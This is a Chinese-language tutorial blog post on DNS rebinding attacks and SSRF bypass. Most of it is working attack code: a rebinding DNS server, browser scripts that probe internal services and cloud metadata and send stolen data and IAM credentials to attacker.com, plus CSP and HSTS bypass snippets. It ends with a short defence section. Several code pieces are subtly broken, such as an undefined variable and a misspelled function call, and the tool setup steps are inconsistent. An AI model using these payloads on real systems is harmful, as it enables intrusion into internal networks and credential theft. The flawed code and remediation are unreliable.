PingSec 安全日报

root@pingsec:~$
🔵 安全研究DNS RebindingSSRF同源策略绕过内网渗透网络安全

【教程】DNS重绑定攻击实战:从原理到SSRF利用全解析

📅 2026年7月3日 📁 Hermes Agent ⏱ 11 分钟

title: "【教程】DNS重绑定攻击实战:从原理到SSRF利用全解析"

tags: [DNS Rebinding, SSRF, 同源策略绕过, 内网渗透, 网络安全]

category: research


适合人群:有一定Web安全基础的渗透测试人员、安全研究员

前置知识:DNS基础、HTTP协议、SSRF概念、浏览器同源策略

一、前置准备

1.1 什么是DNS重绑定(DNS Rebinding)

DNS重绑定(DNS Rebinding)是一种绕过浏览器同源策略(Same-Origin Policy)的攻击技术。攻击者通过控制一个域名的DNS解析,在短时间内将该域名从攻击者控制的IP切换到目标内网IP,从而让浏览器以为访问的是"同一个源",实际上却在访问内网服务。

通俗理解:你信任一个域名(比如 evil.com),浏览器也信任它。第一次访问时DNS返回攻击者服务器的IP,浏览器建立了会话;第二次访问时DNS突然返回 127.0.0.1,浏览器依然认为是同一个源,于是攻击者通过JavaScript操控请求发送到内网。

1.2 核心原理


时间线:
T1: victim.com → DNS查询 → evil.com DNS服务器 → 返回 1.2.3.4(攻击者IP)
T2: 浏览器访问 http://evil.com/ → 加载恶意JS
T3: 恶意JS发起请求 http://evil.com/api → DNS重绑 → 返回 127.0.0.1
T4: 浏览器认为是同源请求 → JS读取127.0.0.1的响应 → 数据泄露给攻击者

1.3 环境搭建


# 创建项目目录
mkdir -p ~/dns-rebinding-lab && cd ~/dns-rebinding-lab

# 安装Node.js(用于重绑定DNS服务器)
# 如果没有Node.js
apt-get install -y nodejs npm

# 创建DNS重绑定服务器
cat > dns-server.js << 'DNSEOF'
const dgram = require('dgram');
const server = dgram.createSocket('udp4');

// 重绑定配置
const config = {
    port: 53,
    targetDomain: 'rebind.evil.com',
    // 第一次解析返回攻击者IP(你的服务器公网IP)
    attackerIP: process.env.ATTACKER_IP || 'x.x.x.x',
    // 第二次解析返回内网目标IP
    targetIP: '127.0.0.1',
    rebindingCount: 0  // 请求计数器
};

function parseDNS(data) {
    const questions = [];
    let offset = 12; // 跳过头部

    const questionCount = data.readUInt16BE(4);
    for (let i = 0; i < questionCount; i++) {
        const labels = [];
        while (data[offset] !== 0) {
            const len = data[offset];
            offset++;
            labels.push(data.slice(offset, offset + len).toString());
            offset += len;
        }
        offset++; // 跳过0x00
        const type = data.readUInt16BE(offset);
        offset += 2;
        const cls = data.readUInt16BE(offset);
        offset += 2;
        questions.push({ name: labels.join('.'), type, cls });
    }
    return questions;
}

function buildResponse(data, questions, resolvedIP) {
    const header = Buffer.alloc(12);
    data.copy(header, 0, 0, 4);
    header.writeUInt16BE(data.readUInt16BE(2) | 0x80, 2); // 设置QR位
    header.writeUInt16BE(1, 6); // ANCOUNT = 1
    header.writeUInt16BE(0, 8); // NSCOUNT = 0
    header.writeUInt16BE(0, 10); // ARCOUNT = 0

    let answer = header;

    // QNAME部分 - 复用原始查询
    let qnameOffset = 12;
    while (data[qnameOffset] !== 0) {
        qnameOffset += data[qnameOffset] + 1;
    }
    qnameOffset++; // 跳过0x00
    const qnameEnd = qnameOffset + 4; // QTYPE + QCLASS

    answer = Buffer.concat([answer, data.slice(12, qnameEnd)]);

    // ANWER部分 - 名称指针 + 类型 + TTL + 长度 + IP
    const answerRecord = Buffer.alloc(16);
    answerRecord.writeUInt16BE(0xC00C, 0); // 名称指针
    answerRecord.writeUInt16BE(1, 2); // TYPE A
    answerRecord.writeUInt16BE(1, 4); // CLASS IN
    answerRecord.writeUInt32BE(0, 6); // TTL 0(不缓存)
    answerRecord.writeUInt16BE(4, 10); // RDLENGTH
    const ipParts = resolvedIP.split('.').map(Number);
    answerRecord[12] = ipParts[0];
    answerRecord[13] = ipParts[1];
    answerRecord[14] = ipParts[2];
    answerRecord[15] = ipParts[3];

    return Buffer.concat([answer, answerRecord]);
}

server.on('message', (msg, rinfo) => {
    const questions = parseDNS(msg);
    const queryName = questions[0]?.name || '';

    // 只处理目标域名
    if (queryName.includes(config.targetDomain)) {
        config.rebindingCount++;

        // 奇数次返回攻击者IP,偶数次返回目标IP
        let resolvedIP;
        if (config.rebindingCount % 2 === 1) {
            resolvedIP = config.attackerIP;
            console.log(`[第一次] ${queryName} → ${resolvedIP} (攻击者IP)`);
        } else {
            resolvedIP = config.targetIP;
            console.log(`[重绑定] ${queryName} → ${resolvedIP} (内网目标)`);
        }

        const response = buildResponse(msg, questions, resolvedIP);
        server.send(response, rinfo.port, rinfo.address);
    } else {
        // 非目标域名,返回NXDOMAIN
        const response = Buffer.alloc(msg.length);
        msg.copy(response, 0, 0, 6);
        response.writeUInt16BE(data.readUInt16BE(2) | 0x83, 2); // RCODE=3 (NXDOMAIN)
        response.writeUInt16BE(0, 6);
        server.send(response, rinfo.port, rinfo.address);
    }
});

server.bind(config.port, () => {
    console.log(`DNS重绑定服务器启动在端口 ${config.port}`);
    console.log(`目标域名: ${config.targetDomain}`);
    console.log(`攻击者IP: ${config.attackerIP}`);
    console.log(`重绑定目标: ${config.targetIP}`);
});
DNSEOF

echo "[+] DNS服务器创建完成"

1.4 创建恶意攻击页面


cat > attacker-page.js << 'ATTEOF'
// 攻击者控制的Web服务器上的JavaScript
// 这段代码会通过DNS重绑定访问内网服务

const targetServices = [
    { name: 'Redis', url: 'http://127.0.0.1:6379' },
    { name: 'MongoDB', url: 'http://127.0.0.1:27017' },
    { name: 'Elasticsearch', url: 'http://127.0.0.1:9200' },
    { name: 'Docker API', url: 'http://127.0.0.1:2375' },
    { name: 'Internal Web App', url: 'http://192.168.1.100:8080' },
    { name: 'Jenkins', url: 'http://192.168.1.50:8080' },
];

// 攻击方式1: 读取内网API响应(同源策略绕过)
async function exfiltrateViaFetch(service) {
    try {
        const response = await fetch(service.url, {
            method: 'GET',
            credentials: 'include'  // 携带cookie
        });

        const data = await response.text();

        // 将数据发送给攻击者
        await fetch('https://attacker.com/exfil', {
            method: 'POST',
            body: JSON.stringify({
                service: service.name,
                status: response.status,
                data: data.substring(0, 10000)  // 截断防止过大
            })
        });

        console.log(`[+] 成功获取 ${service.name} 数据: ${data.substring(0, 200)}`);
    } catch (err) {
        console.log(`[-] ${service.name} 不可达: ${err.message}`);
    }
}

// 攻击方式2: 通过表单提交探测内网服务
function exfiltrateViaForm(service) {
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = service.url;
    form.target = '_blank';

    const input = document.createElement('input');
    input.name = 'command';
    input.value = 'PING';  // Redis等服务的命令
    form.appendChild(input);

    document.body.appendChild(form);
    form.submit();

    setTimeout(() => document.body.removeChild(form), 1000);
}

// 攻击方式3: 通过img标签触发DNS查询(DNS Rebinding配合)
function exfiltrateViaImage(service) {
    const img = new Image();
    img.src = `${service.url}/?data=${encodeURIComponent('stolen-data')}`;
    img.onerror = () => console.log(`[-] ${service.url} 不可达`);
}

// 攻击方式4: 通过WebSocket连接内网服务
function exfiltrateViaWebSocket(service) {
    try {
        const ws = new WebSocket(service.url.replace('http', 'ws'));
        ws.onopen = () => {
            ws.send(JSON.stringify({ type: 'subscribe', channel: '*' }));
        };
        ws.onmessage = (event) => {
            fetch('https://attacker.com/exfil', {
                method: 'POST',
                body: JSON.stringify({ service: service.name, data: event.data })
            });
        };
    } catch (err) {
        console.log(`[-] WebSocket连接失败: ${err.message}`);
    }
}

// 主攻击流程
(async function attack() {
    // 等待DNS重绑定生效
    for (const service of targetServices) {
        await exfiltrateViaFetch(service);
        await new Promise(r => setTimeout(r, 2000)); // 间隔避免被检测
    }
})();
ATTEOF

echo "[+] 攻击页面创建完成"

二、核心原理

2.1 浏览器同源策略与DNS重绑定的关系

浏览器的同源策略(SOP)基于 (protocol, hostname, port) 三元组判断两个资源是否同源。DNS重绑定的关键在于:

  1. 浏览器缓存DNS:第一次解析后,浏览器可能缓存DNS结果
  2. DNS TTL = 0:设置极短的TTL让DNS结果不被缓存
  3. 预连接:浏览器在加载页面时可能已经建立了TCP连接
  4. DNS预解析<link rel="dns-prefetch"> 可能触发预解析

正常SOP检查:
evil.com (1.2.3.4) → evil.com (127.0.0.1)
protocol相同 + hostname相同 + port相同 = 同源 ✓
→ 浏览器允许JS访问响应内容!

2.2 重绑定的三种触发方式

方式原理可靠性防御难度
定时重绑DNS服务器在指定时间后切换IP★★★
请求计数重绑第N次查询返回不同IP★★★★
竞态条件重绑利用浏览器DNS解析与TCP连接的时间差★★★★★

2.3 关键约束与绕过


# 约束1: HSTS预加载列表
# 如果域名在HSTS列表中,浏览器强制HTTPS,无法绕过
# 解决:使用不在列表中的域名

# 约束2: DNS预取
# 浏览器可能预解析DNS,导致重绑定失败
# 解决:使用 <meta http-equiv="x-dns-prefetch-control" content="off">

# 约束3: CORS头检查
# 如果目标返回 Access-Control-Allow-Origin: null
# 解决:设置文档为 data: URI 或 sandboxed iframe

# 约束4: WebSocket同源检查
# WebSocket会检查Origin头
# 解决:使用不检查Origin的服务

三、实操步骤

3.1 使用现成工具 - rbndr


# 安装rbndr(最流行的DNS重绑定工具)
pip3 install rbndr

# 或者使用Docker
docker run -d -p 53:53/udp -e DNS_PORT=53 rebinder

# 生成重绑定域名
# 访问 https://lock.cmpxchg8b.com/rebinder.html
# 输入:
# - 攻击者IP: x.x.x.x
# - 目标IP: 127.0.0.1
# 得到域名如: 0x7f000001.x.x.x.x.rebinder.com
# (十六进制IP + 攻击者域名)

# 使用方式
# 1. 访问 http://0x7f000001.x.x.x.x.rebinder.com/payload.html
# 2. 浏览器解析该域名到攻击者IP
# 3. payload.html中的JS发起请求时DNS重绑到127.0.0.1

3.2 使用rebinder


# rebinder是另一个常用工具
# https://github.com/taviso/rbndr

git clone https://github.com/taviso/rbndr.git
cd rbndr

# 修改配置
cat > config.ini << 'CFG'
# rebinder配置
[default]
# 第一次返回的IP(攻击者)
ip1 = x.x.x.x
# 第二次返回的IP(内网目标)
ip2 = 127.0.0.1
CFG

# 启动
python3 rbndr.py

3.3 自建DNS重绑定服务器(Node.js)


# 使用之前创建的dns-server.js
# 启动DNS服务器
node dns-server.js &

# 配置域名指向你的DNS服务器
# 在域名注册商处设置NS记录指向你的服务器IP
# 或者使用子域名:rebind.evil.com → 你的NS服务器

# 创建攻击HTML页面
cat > /var/www/html/attack.html << 'HTMLEOF'
<!DOCTYPE html>
<html>
<head>
    <title>DNS Rebinding PoC</title>
    <meta http-equiv="x-dns-prefetch-control" content="off">
</head>
<body>
    <h1>DNS重绑定攻击演示</h1>
    <div id="results">正在攻击中...</div>

    <script>
    // 方式1: 使用XMLHttpRequest(同步模式更容易触发重绑定)
    function syncRequest(url) {
        const xhr = new XMLHttpRequest();
        xhr.open('GET', url, false);  // 同步模式
        try {
            xhr.send();
            return { status: xhr.status, data: xhr.responseText };
        } catch (e) {
            return { error: e.message };
        }
    }

    // 方式2: 使用fetch + cache busting
    async function fetchWithCacheBust(url) {
        const separator = url.includes('?') ? '&' : '?';
        const bustUrl = `${url}${separator}_=${Date.now()}`;
        const response = await fetch(bustUrl, { mode: 'no-cors' });
        return response;
    }

    // 方式3: 通过iframe
    function iframeAttack(url) {
        const iframe = document.createElement('iframe');
        iframe.src = url;
        iframe.style.display = 'none';
        document.body.appendChild(iframe);
    }

    // 执行攻击
    async function execute() {
        const results = [];

        // 尝试访问内网服务
        const targets = [
            'http://127.0.0.1:80',
            'http://127.0.0.1:8080',
            'http://192.168.1.1',
            'http://192.168.1.100:8080',
        ];

        for (const target of targets) {
            const result = syncRequest(target);
            results.push({ target, ...result });
        }

        // 发送结果给攻击者
        await fetch('https://attacker.com/log', {
            method: 'POST',
            body: JSON.stringify(results)
        });

        document.getElementById('results').innerHTML =
            '<pre>' + JSON.stringify(results, null, 2) + '</pre>';
    }

    execute();
    </script>
</body>
</html>
HTMLEOF

echo "[+] 攻击页面部署完成"

3.4 利用DNS重绑定绕过SSRF防护

很多SSRF防护通过检查域名解析后的IP来阻止访问内网。DNS重绑定可以绕过这种防护:


# SSRF防护代码(有缺陷)
import requests
import socket

def safe_fetch(url):
    """检查目标IP是否为内网"""
    hostname = url.split('/')[2].split(':')[0]
    ip = socket.gethostbyname(hostname)

    # 检查是否为内网IP
    if ip.startswith('127.') or ip.startswith('10.') or \
       ip.startswith('192.168.') or ip.startswith('172.'):
        raise Exception("禁止访问内网地址")

    # 发起请求
    return requests.get(url, timeout=5)

# 绕过方法:DNS重绑定
# 1. 第一次DNS解析返回公网IP(通过检查)
# 2. 第二次DNS解析返回内网IP(实际请求)
# 3. 检查和请求之间存在时间窗口

# 攻击脚本
import threading
import time

class DNSRebinder:
    def __init__(self, domain, public_ip, internal_ip):
        self.domain = domain
        self.public_ip = public_ip
        self.internal_ip = internal_ip
        self.current_ip = public_ip

    def dns_server(self):
        """简单的DNS服务器"""
        import socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.bind(('0.0.0.0', 53))

        while True:
            data, addr = sock.recvfrom(512)
            # 返回当前IP
            response = self.build_dns_response(data, self.current_ip)
            sock.sendto(response, addr)

    def flip(self):
        """切换DNS解析"""
        if self.current_ip == self.public_ip:
            self.current_ip = self.internal_ip
        else:
            self.current_ip = self.public_ip

# 使用示例
rebinder = DNSRebinder('rebind.evil.com', 'x.x.x.x', '192.168.1.1')

# 启动DNS服务器
dns_thread = threading.Thread(target=rebinder.dns_server)
dns_thread.daemon = True
dns_thread.start()

# 等待受害者访问
# 当受害者访问 http://rebind.evil.com/payload.html 时
# 浏览器会发起多次请求,DNS重绑定生效

3.5 利用DNS重绑定访问云元数据服务


# AWS元数据服务: http://169.254.169.254
# 很多SSRF防护会阻止这个IP
# DNS重绑定可以绕过

# 攻击页面
cloud_attack_html = '''
<!DOCTYPE html>
<html>
<head><title>Cloud Metadata Exfil</title></head>
<body>
<script>
const metadataPaths = [
    '/latest/meta-data/',
    '/latest/meta-data/iam/security-credentials/',
    '/latest/meta-data/hostname',
    '/latest/user-data/',
    '/latest/meta-data/public-keys/',
];

async function stealMetadata() {
    const results = {};

    for (const path of metadataPaths) {
        try {
            // 使用DNS重绑定域名指向169.254.169.254
            const response = await fetch(`http://metadata.rebind.evil.com${path}`, {
                mode: 'no-cors'
            });

            // 如果是同源,可以读取响应
            const text = await response.text();
            results[path] = text;
        } catch (e) {
            results[path] = 'Error: ' + e.message;
        }
    }

    // 发送给攻击者
    await fetch('https://attacker.com/cloud-data', {
        method: 'POST',
        body: JSON.stringify(results)
    });
}

// 延迟执行,等待DNS重绑定
setTimeout(steerMetadata, 3000);
</script>
</body>
</html>
'''

四、绕过技术

4.1 绕过DNS缓存


# 问题:浏览器和系统DNS缓存会阻止重绑定
# 解决方案1: 设置TTL=0
# DNS服务器响应中设置TTL为0秒

# 解决方案2: 使用DNS over HTTPS (DoH)
# 现代浏览器使用DoH,绕过本地DNS缓存
# Cloudflare DoH: https://1.1.1.1/dns-query
# Google DoH: https://dns.google/resolve

# 解决方案3: 使用WebRTC泄漏真实IP
# 通过WebRTC获取真实IP,配合重绑定

# 解决方案4: 利用DNS预解析竞争
# 在页面加载前就触发DNS查询
<link rel="dns-prefetch" href="//rebind.evil.com">
<link rel="preconnect" href="//rebind.evil.com">

4.2 绕过CSP(Content Security Policy)


<!-- CSP可能阻止内联脚本执行 -->
<!-- 绕过方式1: 使用外部脚本 -->
<script src="http://rebind.evil.com/payload.js"></script>

<!-- 绕过方式2: 使用eval + 数据URI -->
<a href="data:text/html,<script>eval(atob('...'))</script>">Click</a>

<!-- 绕过方式3: 利用JSONP端点 -->
<script src="http://target.com/jsonp?callback=alert//"></script>

<!-- 绕过方式4: 使用service worker -->
<script>
if ('serviceWorker' in navigator) {
    navigator.serviceWorker.register('/sw.js');
}
</script>

4.3 绕过HSTS预加载


# HSTS预加载列表阻止了常见域名的HTTP访问
# 绕过方法1: 使用不在列表中的域名
# 绕过方法2: 利用子域名(子域名不在预加载列表中)
# 绕过方法3: 使用DNS重绑定 + WebSocket(不受HSTS限制)

# 检查域名是否在HSTS列表中
curl -s https://hstspreload.org/api/v2/status?domain=example.com

4.4 高级绕过技巧


# 技巧1: 使用IPv6地址
# 很多防护只检查IPv4,IPv6可能绕过
# 内网IPv6: fe80::1, ::1, fd00::/8

# 技巧2: 使用DNS over TLS (DoT)
# 端口853,绕过传统DNS监控

# 技巧3: 利用HTTP/2多路复用
# HTTP/2允许在单个连接上并发多个请求
# 可以同时发起多个重绑定请求

# 技巧4: 使用WebAssembly执行DNS解析
# WASM可以绕过浏览器的DNS限制
const wasmCode = new Uint8Array([
    // ... WASM字节码
]);
WebAssembly.instantiate(wasmCode).then(result => {
    // 在WASM中执行DNS解析
});

# 技巧5: 利用DNS分区(DNS Split Horizon)
# 同一域名在不同网络环境下返回不同IP
# 企业内网和公网看到不同的解析结果

五、实战案例复盘

案例1: 通过DNS重绑定接管内部管理面板


场景:某公司内部管理面板运行在 192.168.1.50:8080
防护:SSRF检查只允许公网IP

攻击链:
1. 注册域名 admin.rebind.com → 指向攻击者DNS服务器
2. 发送钓鱼邮件,诱导员工访问 http://admin.rebind.com/login
3. 浏览器第一次解析到攻击者公网IP,加载恶意JS
4. 恶意JS发起请求到 http://admin.rebind.com/api
5. DNS重绑定到 192.168.1.50:8080
6. 浏览器认为同源,JS读取管理面板响应
7. 攻击者获取管理员凭据

结果:攻击者通过DNS重绑定成功访问内部管理面板

案例2: 云环境元数据窃取


场景:AWS EC2实例,SSRF防护阻止169.254.169.254

攻击链:
1. 创建DNS重绑定域名 metadata.rebind.com
2. 诱导受害者访问恶意页面
3. 页面JS请求 http://metadata.rebind.com/latest/meta-data/
4. DNS重绑定到 169.254.169.254
5. 获取IAM角色临时凭据
6. 使用临时凭据访问S3存储桶

结果:攻击者获取AWS临时凭据,访问敏感数据

案例3: 企业内网横向移动


场景:企业内网有多个服务(Redis、MongoDB、Jenkins)

攻击链:
1. 员工访问恶意网站
2. 恶意JS通过DNS重绑定探测内网
3. 发现Redis未授权访问(192.168.1.20:6379)
4. 通过Redis写入cron任务,反弹shell
5. 获取内网服务器控制权

结果:从一个员工浏览器访问,到控制内网服务器

六、防御建议

6.1 DNS层面防护


# 1. 使用DNS安全扩展(DNSSEC)
# 防止DNS缓存投毒和重绑定

# 2. 部署DNS监控
# 监控异常的DNS查询模式(短时间内同一域名多次解析到不同IP)

# 3. 使用DNS防火墙
# 阻止解析到已知恶意IP的查询

# 4. 限制DNS TTL
# 设置最小TTL为300秒(5分钟)

6.2 浏览器层面防护


// 1. 禁用JavaScript(极端情况)
// 2. 使用浏览器扩展阻止内网访问
// 3. 启用严格模式的CSP
Content-Security-Policy: default-src 'self'; script-src 'self'

// 4. 使用浏览器隔离容器
// Chrome的SITE隔离功能
// Firefox的多账户容器

6.3 网络层面防护


# 1. 防火墙规则
# 阻止浏览器直接访问内网端口
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP

# 2. 网络分段
# 将Web服务器和内部服务放在不同网段

# 3. 零信任架构
# 所有请求都需要验证,不信任内部网络

# 4. 部署WAF规则
# 检测DNS重绑定特征(如短时间内多次解析同一域名)

6.4 应用层面防护


# 1. 请求时验证IP(不是DNS解析时)
import requests
import socket

def safe_request(url):
    # 解析域名
    hostname = url.split('/')[2]
    ip = socket.gethostbyname(hostname)

    # 检查IP
    if is_internal_ip(ip):
        raise Exception("禁止访问内网")

    # 发起请求时再次检查(防止竞态条件)
    response = requests.get(url)

    # 验证响应来自预期IP
    actual_ip = socket.gethostbyname(hostname)
    if actual_ip != ip:
        raise Exception("DNS重绑定检测")

    return response

# 2. 使用IP白名单
# 只允许访问特定的公网IP

# 3. 使用代理服务器
# 通过代理发起请求,代理负责IP检查

# 4. 实施DNS pinning
# 缓存DNS结果,不重新解析

七、常见陷阱

7.1 DNS缓存问题


# 陷阱:浏览器DNS缓存导致重绑定失败
# 解决:设置TTL=0,使用cache busting参数

# 清除本地DNS缓存
# Linux
sudo systemd-resolve --flush-caches
# macOS
sudo dscacheutil -flushcache
# Windows
ipconfig /flushdns

7.2 竞态条件


# 陷阱:DNS解析和TCP连接之间存在时间差
# 解决:使用同步请求(XMLHttpRequest sync mode)
# 或者使用prefetch/preconnect触发预解析

# 竞态条件利用
# 1. 在页面加载时立即发起DNS查询
# 2. 在DNS缓存过期前发起实际请求
# 3. 使用多个并发请求增加成功率

7.3 CSP绕过失败


# 陷阱:CSP阻止了内联脚本执行
# 解决:使用外部脚本、JSONP、service worker

# 测试CSP
curl -I http://target.com | grep -i content-security-policy

7.4 HTTPS限制


# 陷阱:HTTPS阻止了HTTP重绑定
# 解决:使用WebSocket(ws://)或不受HSTS保护的域名

# 检查HSTS状态
curl -sI https://target.com | grep -i strict-transport-security

八、总结

速查表

攻击方式工具适用场景难度
DNS重绑定 + SSRFrbndr/rebinder绕过SSRF防护★★★
DNS重绑定 + 云元数据自定义DNS服务器AWS/GCP元数据窃取★★★★
DNS重绑定 + 内网探测Node.js DNS服务器企业内网服务发现★★★
DNS重绑定 + WebSocket浏览器JS绕过HTTP限制★★★★★

防御清单

防御措施有效性实施难度推荐指数
DNSSEC★★★★★★★
DNS监控★★★★★★★
网络分段★★★★★★★★★★
零信任架构★★★★★极高★★★★
浏览器隔离★★★★★★★★
CSP严格模式★★★★★★★

核心要点

  1. DNS重绑定的本质:利用DNS解析的不一致性绕过浏览器同源策略
  2. 攻击窗口:DNS解析与实际请求之间的时间差是关键
  3. 绕过防护:可以绕过SSRF防护、HSTS、CSP等多种安全机制
  4. 防御关键:网络分段 + 零信任 + 浏览器隔离是最有效的组合
  5. 检测难点:DNS重绑定流量与正常DNS查询难以区分

常用工具

  • rbndr: https://github.com/taviso/rbndr - 最流行的DNS重绑定工具
  • rebinder: https://github.com/daeken/rebinder - 另一个常用工具
  • DNSChef: https://github.com/iphelix/dnschef - 多功能DNS代理
  • Node.js自建: 灵活性最高,可定制重绑定逻辑

参考资料

💡 实战建议:DNS重绑定是高级渗透测试中的重要技术。在实际测试中,建议先使用rbndr等现成工具验证目标是否存在漏洞,再考虑自定义DNS服务器进行深度利用。防御方面,网络分段和零信任架构是最根本的解决方案。

← 返回首页